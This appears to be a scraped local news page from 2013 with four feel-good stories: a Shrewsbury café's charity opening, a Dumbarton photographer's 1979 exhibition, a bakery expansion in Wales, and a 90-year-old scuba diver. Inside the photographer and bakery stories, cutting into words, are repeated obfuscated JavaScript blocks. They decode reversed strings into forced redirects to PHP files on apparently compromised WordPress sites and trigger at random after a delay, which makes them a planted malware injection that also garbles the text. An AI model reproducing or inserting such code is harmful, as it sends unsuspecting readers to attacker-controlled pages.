Category: News

Shrewsbury café backs typhoon victims with opening day profits

Aleyna?s Express has opened in the Darwin Centre, Shrewsbury. Owner Durmus Ozdogan has opened the cafe there and in charge of quality control is young daughter Aleyna, aged 7 while little sister Millie, 3 looks on.

A Shrewsbury café owner is donating the profits from his first day of trading after moving his business to the Darwin Shopping Centre to the Philippines Disaster Appeal.

Durmus Bozdogan, 38, has run his business Aleyna’s Café at the Riverside Shopping Centre but is moving to larger premises in the Darwin Centre to accommodate an increase in trade.

And with the café due to open within the next week Durmus, who hails from Turkey, says he wants to do something to help the victims of Typhoon Haiyan.

He said: “I’m really pleased to be moving to the Darwin Centre. I have been in Shrewsbury for more than 10 years now and we opened Aleyna’s Café at the Riverside more than six years ago.

“Business has gone really well and we have many regular customers who all say they will be coming to the Darwin Centre to enjoy their coffees and cakes.

“I wanted to celebrate opening our new café in the Darwin centre by raising funds for a charity and that’s why we chose to do something to try and support the poor people of the Philippines.

“We will also be having free tasting of our cakes and savouries so new customers know what we offer.”

However, getting the new café just right is something of as family affair for Durmus who admits he needs the approval of his seven-year-old daughter, after whom the café is named, before he adds new products to the café’s menu.

He said: “Aleyna likes to sample everything we sell and is particularly fond of our chocolate cake! She also likes to have her say about how the café looks, she can be very demanding and has an eye for detail.

“She would soon have something to say if she didn’t like something we put on the menu. She likes to put forward her own ideas for new paninis, toasties or sandwiches and, of course, cakes.”

Kevin Lockwood, Manager of the Darwin, Pride Hill and Riverside Shopping Centres, said: “Aleyna’s has quickly become a Shrewsbury institution with many very loyal customers and we’re delighted to see it opening in the Darwin centre and with Aleyna’s input I’m sure it will continue to be very popular

“We’re pleased to have been able to celebrate a number of new openings recently and that shows what a vibrant place Shrewsbury is.”

And the new Aleyna’s Café is also good news on the jobs front as Durmus says he will be looking for a new full-time employee very shortly.

Durmus, who also has a second daughter, Millie, four, said: “I have two members of staff who are staying with us and moving across from the Riverside.

“At first we need to see how things go but I am sure we will have to take someone else on and it will be a full-time role.

“I am just pleased to be moving to the Darwin Centre. Aleyna’s Café is really established and popular with many regulars and I’m sure we can go from strength to strength at our new site.”

Friday December 13th, 2013

News

A year in the life and the lens of Brian at Dumbarton shopping centre

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if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}tographs at the Artizan Centre in Dumbar$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}ton

1979 was a big year for Scotland and the UK – but life went on as usual in Dumbarton and was faithfully recorded through the lens of press photographer Brian Averell.

Back then the Winter of Discontent was coming to an end. Scotland’s vote in favour of devolution was so small Labour decided not to press ahead with devolution, resulting in the SNP withdrawing support and a no confidence motion in Jim Callaghan’s Government.

It sparked an election which brought Margaret Thatcher to power.

But back in West Dunbartonshire and Helensburgh, whatever the political upheavals nationally there were still New Year swims, sports events, first Communicants, theatre and youth groups, the exploits of Dumbarton FC, charity events and school life, which all needed recording.

And Brian recorded them all. He even got to photograph Mrs Thatcher, not to mention a young Tony Blair before he too became prime minister.

Some of those pictures form part of an exhibition being staged at the new Community Hub at the Artizan Shopping Centre, in Dumbarton.

Helensburgh man Brian who has been behind the lens capturing the news of his area for over four decades, also produced a book, called ‘Farewell to the Seventies’ which catalogues events throughout 1979 in around 80 black and white photographs.

Look out for the photo’ of the local garage which was selling 4-star petrol at the time for 79p a gallon!

Brian picked 1979 as it was the first full year that he and former business partner Dave Mitchell worked as freelancers for the Helensburgh Times and the then Lennox Herald.

An exhibition of the photographs from the book went on display at The Hub in the Artizan Shopping Centre in Dumbarton, for its recent craft fair, and will remain there for the public to see for some time.

Louise Scott, Marketing Executive for the Artizan Shopping Centre, said: “Brian’s photos make a fantastic pictorial record of a year in the life of the area and we’re delighted to have them on as part of the display in the new Community Hub.

“That’s proving very popular and has become something of a focal point for the town and we’re delighted to have been able to make it available for the community – we’re open to further ideas about its use.”

Born and raised in Helensburgh, Brian, 63, left school after his O-Grades on a Friday and on the Monday started work as an editorial assistant in May 1968, securing the job mainly because he had been in the school’s photographic club and in addition to proof reading he could develop and print films – and of course, make tea.

“I always had an interest in photography. At that time I think the editor or the chief reporter took the photographs and I developed the film,” said Brian who became a photographer and stayed with the independent weekly Advertiser for 10 years before setting up a freelance agency with David Mitchell in 1978 and began providing the photographic coverage for the Lennox Herald and the Helensburgh Times.

“I had the idea for the book because it was the first full year we worked for the papers. To be honest I don’t particularly remember 1979! I look at the photographs now and I can remember taking the odd one. Things blur over the years.”

Considering he would have had around 15,000 prints from that year alone to choose from it’s hardly surprising.

Although the digital revolution has simplified picture taking, Brian still misses the old days when far more care had to be taken to frame the picture and get it right first time, rather than simply blasting away taking dozens of digital pictures which can simply be deleted later.

It’s not been all local news for Brian. He’s photographed pretty well everything from Roger Moore filming one of the Bond movies Live and Let Die at Faslane Naval Base to the Commonwealth Games in Edinburgh in 1986 for News International.

But about a year ago Brian decided to retire from the local newspaper business, a decision partly prompted by age but also an eye condition, toxoplasmosis, which although stable has left Brian registered partially sighted.

He is still able to take photographs but it meant Brian could no longer drive which made covering his patch too difficult.

Apart from the exhibition, Brian is trying to sort out his huge archive of pictures, hoping he can establish a website for them in the near future.

Anyone interested in pictures from the exhibition, or Brian’s book “Farewell to the Seventies” (£9.99) should contact Brian on 07802 425082.

In the meantime many of his pictures, along with those of other local photographers, are on display at the Community Hub which is open every Thursday from 10am to 4pm and on other occasions.

For more information about the Centre and the Community Hub and how to make use of it go to www.artizancentre.co.uk or Facebook page ton">www.facebook.com/artizangallerydumbarton or contact to:artizan@6274.co.uk">artizan@6274.co.uk

Friday December 13th, 2013

News

Top bakery is a major asset to North East Wales high streets says minister

CHATWINS BAKERY WREXHAM. Pictured  is Sharon Cooper, Retail Manager, Edward Chatwin Managing Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}tor at Chatwins and Lesley Griffiths AM.

One of the UK’s top family run bakeries who took over five shops in North East Wales have been hailed as “a major asset” to the area’s high streets.

Award-winning Chatwins bought the shops in Wrexham, Rhos, Llangollen, Ruthin and Holywell from the Village Bakery who wanted to concentrate on their booming wholesale business.

All 50 of the staff  were kept on by the Nantwich based bakery that’s celebrating its centenary this year.

The purchase of the shops took the number of the Chatwins outlets to 26 and meant a 20 per cent increase in the size of the company overnight.

Local AM Lesley Griffiths called in at the Chatwins shop and cafe on High Street in Wrexham to welcome the company to the town.

She chatted to the staff and Managing Director Edward Chatwin, a fourth generation member of the family firm established by his great grandfather John Chatwin in 1913.

Ms Griffiths, who is also the Minister for Local Government and Government Business, said: “I was delighted to be invited to meet Edward and the team and to see that the shop and cafe were buzzing with happy customers.

“Chatwins are not unlike the Village Bakery in the sense that they are a family-run bakery with extremely high standards and an excellent range of products.

“Having spoke to Edward, it is clear that Chatwins are going to be a major asset to our high streets.”

Among the members of staff who’ve transferred from the Village Bakery to Chatwins is Retail Manager Sharon Cooper.

She said: “Things have been going very well and it’s lovely to have the new range of cakes which complements the bread, the carvery and the sandwiches.

“It’s a busy time of year for us now. The festive season is coming so hopefully we’ll do really well with the Christmas Puddings and things like that which we haven’t done before.

“I think the shop looks brilliant and it’s very busy. We are blessed with  really good staff – they’re so friendly, so bubbly.

“Edward has ensured we have been made very welcome as part of the team Chatwins.”

Edward Chatwin was extremely grateful that Lesley Griffiths had taken time out of her busy schedule to welcome Chatwins to Wrexham.

He added: “It’s been a hectic few weeks but it’s been very enjoyable and I must say the staff have been unbelievably supportive which has helped make the transition a very smooth one for everybody concerned.

“It’s been really lovely to finally meet the customers and talk to them and introduce them to our products – and the response has been incredibly positive.

“The customers can see the staff are happy in their work environment so they feel a lot more confident about coming into the shop, and there’s no doubt at all that the staff have been a key part in the success of the transition.

“I think the main difference between the Village Bakery and ourselves is probably on the cake and confectionary lines.

“The Village Bakery bought a lot of those items in but obviously we’re producing all of those ourselves.

“As a result, I think we’ve got a wider variety and again at this time of year we can introduce Christmas lines which I think in the past customers haven’t had.

“Taking over five shops in one go is  probably the biggest thing that’s happened to Chatwins in a hundred years.

“We have expanded in the past, but they were by one or two shops at a time, so to actually take on five successful shops all in one go really is a big step for us and it marks our centenary in a fantastic way.”

Friday December 13th, 2013

News

Pioneering Wirral scuba diver Ray marks 90th birthday with 90ft dive

Ray underwater 1 ceidiog

A 90-YEAR-OLD scuba diver originally from the Wirral celebrated his landmark birthday with a 90ft dive off the Cyprus coast.

Ray Woolley, a great-grandfather-of-six, who is originally from Port Sunlight, and now lives in Agios Tychonas close to Limassol in Cyprus, used his birthday dive to explore the famous wreck of the Zenobia at the bottom of Larnaca Bay.

The underwater expedition to the site of the Swedish built ferry, which sank on her maiden voyage in 1980 with £200 million of cargo aboard, was arranged by Ray’s regular dive partner Dave Turner who is a diving officer for the British Sub-Aqua Club (BSAC).

Ray, who served with distinction in the Royal Navy during the Second World War, began diving six decades ago around the time when BSAC, the national governing body for UK diving was formed. It is marking its diamond jubilee this year.

During his career as a radio engineer Ray enjoyed several postings to Cyprus and it was during one of his spells working on the island that he became an enthusiastic member of BSAC 107S, Western Sovereign Base Areas, at RAF Akrotiri.

Eventually retiring to Cyprus in 1999, he resumed his association with the club, whose diving officer and close friend Dave Turner recently arranged for him to make the big dive to mark both his landmark birthday and 60 years underwater.

Accompanied by fellow club members, Ray, who has three children, seven grandchildren and six great-grandchildren, dived on the wreck of the Zenobia.

She took her cargo worth an estimated £200 million with her to the bottom and has since become one of the world’s top 10 dive sites.

Dave said: “Photographs were taken of Ray and the other members in the one remaining lifeboat and standing beside the top propeller at 30.5 meters. That’s a little over the required 27.42 meters or 90 feet but still well within his capabilities.

“The first time Ray dived the Zenobia was within a year of it sinking when he found the ship and its cargo of lorries and goods to be in good condition.

“Thirty-three years on the Zenobia is still there, and the lorries and remaining cargo have deteriorated quite badly, but the same cannot be said about Ray.”

Dave added: “I’ve been with the club for seven years and have known Ray all that time. We dive together about three or four times a year.

“To prepare for his 90@90 dive I went out and did a shake-out session with him.

“The dive down to the Zenobia went really well and everyone enjoyed it.

“Ray is really fit and it’s always a pleasure to dive with him. He’s now been doing it for so long you could say he was one of the UK’s pioneer recreational divers.”

Recalling his 90@90 dive, Ray said: “After all these years of diving I just thought I’d take the opportunity to do something underwater to celebrate getting to the age of 90.

“Going down to 90 feet was a better option than doing 90 metres which is much deeper.

“It was a great experience but I have to say everyone from the club who with me seemed more excited about it than I was.

“It was a nice thing for the club to arrange for me to do it and I’m very grateful to Dave and everyone else involved.

“I’m very lucky that I’m still able to dive at the age of 90.”

Mary Tetley, Chief Executive of BSAC, passed on her congratulations to Ray and added: “Ray is a credit to BSAC and it is so fitting that he has completed his 90th birthday dive in our diamond jubilee year.

“Ray and his contemporaries 60 years ago really did act as leisure diving pioneers and turn it into the sport which so many of us know and love.

“Ray is an inspiration and his remarkable diving career will surely inspire a new generation of scuba divers.”

Ray started his long diving career with the Portland and Weymouth BSAC Branch No. 40 in 1960 and his debut dive was at Ferry Bridge at the mouth of the Wey estuary.

He recalls that in those days it was not possible to buy off the shelf wet suits so divers had to use a brown paper pattern from which they cut their own suits from single skin neoprene, gluing the various pieces together and sealing the joints with yellow tape. The easiest way to get into these suits was to use French chalk or washing up liquid.

Ray served in the Royal Navy radio branch from September 1942. He joined HMS Hyderabad in April 1943 for convoy duties from the UK to Gibraltar and then spent the next 18 months convoying throughout the Mediterranean.

He left his ship in Alexandria in September 1944 and was seconded to the Special Boat Squadron’s Special Force 281 to the Dodecanese. He was one of the first of the Allied forces to land on Rhodes after the Germans left in May 1945 to be greeted by the starving population.

After the war Ray trained as a radio engineer and, whilst working for the Foreign Office, he was posted to Cyprus in 1964 where he became involved with the Western Sovereign Base Areas BSAC.

Ray completed three tours of duty in Cyprus, during which time he was at various times the club’s Secretary, Diving Officer, and Expedition Member of the club. During this period he became an Advanced Diving Instructor.

His late wife Lorraine, who died last March, served for a time as the club Secretary.

Ray’s professional career took him to Dubai in 1983 and he became one of the founder members of the BSAC Branch No. 1388, becoming the club’s first diving officer.

Ray stopped logging dives when he reached 1,000. Over the years he has dived off Australia, in the Caribbean, the Indian Ocean, the Red Sea, and the Arabian Gulf.

Ray left Dubai in 1999 to retire to Cyprus where he resumed his membership of BSAC 107S, as an active club member and diver.

His next club dive will be to Zevgari Reef in Cyprus where he plans to show the ‘younger’ members his renowned sponge diving skills.

To further celebrate his 90th birthday, Ray travelled to London to march past the Cenotaph with the Royal Navy contingent in the parade on Remembrance Sunday.

For more information about BSAC go to www.bsac.com

Thursday December 12th, 2013

News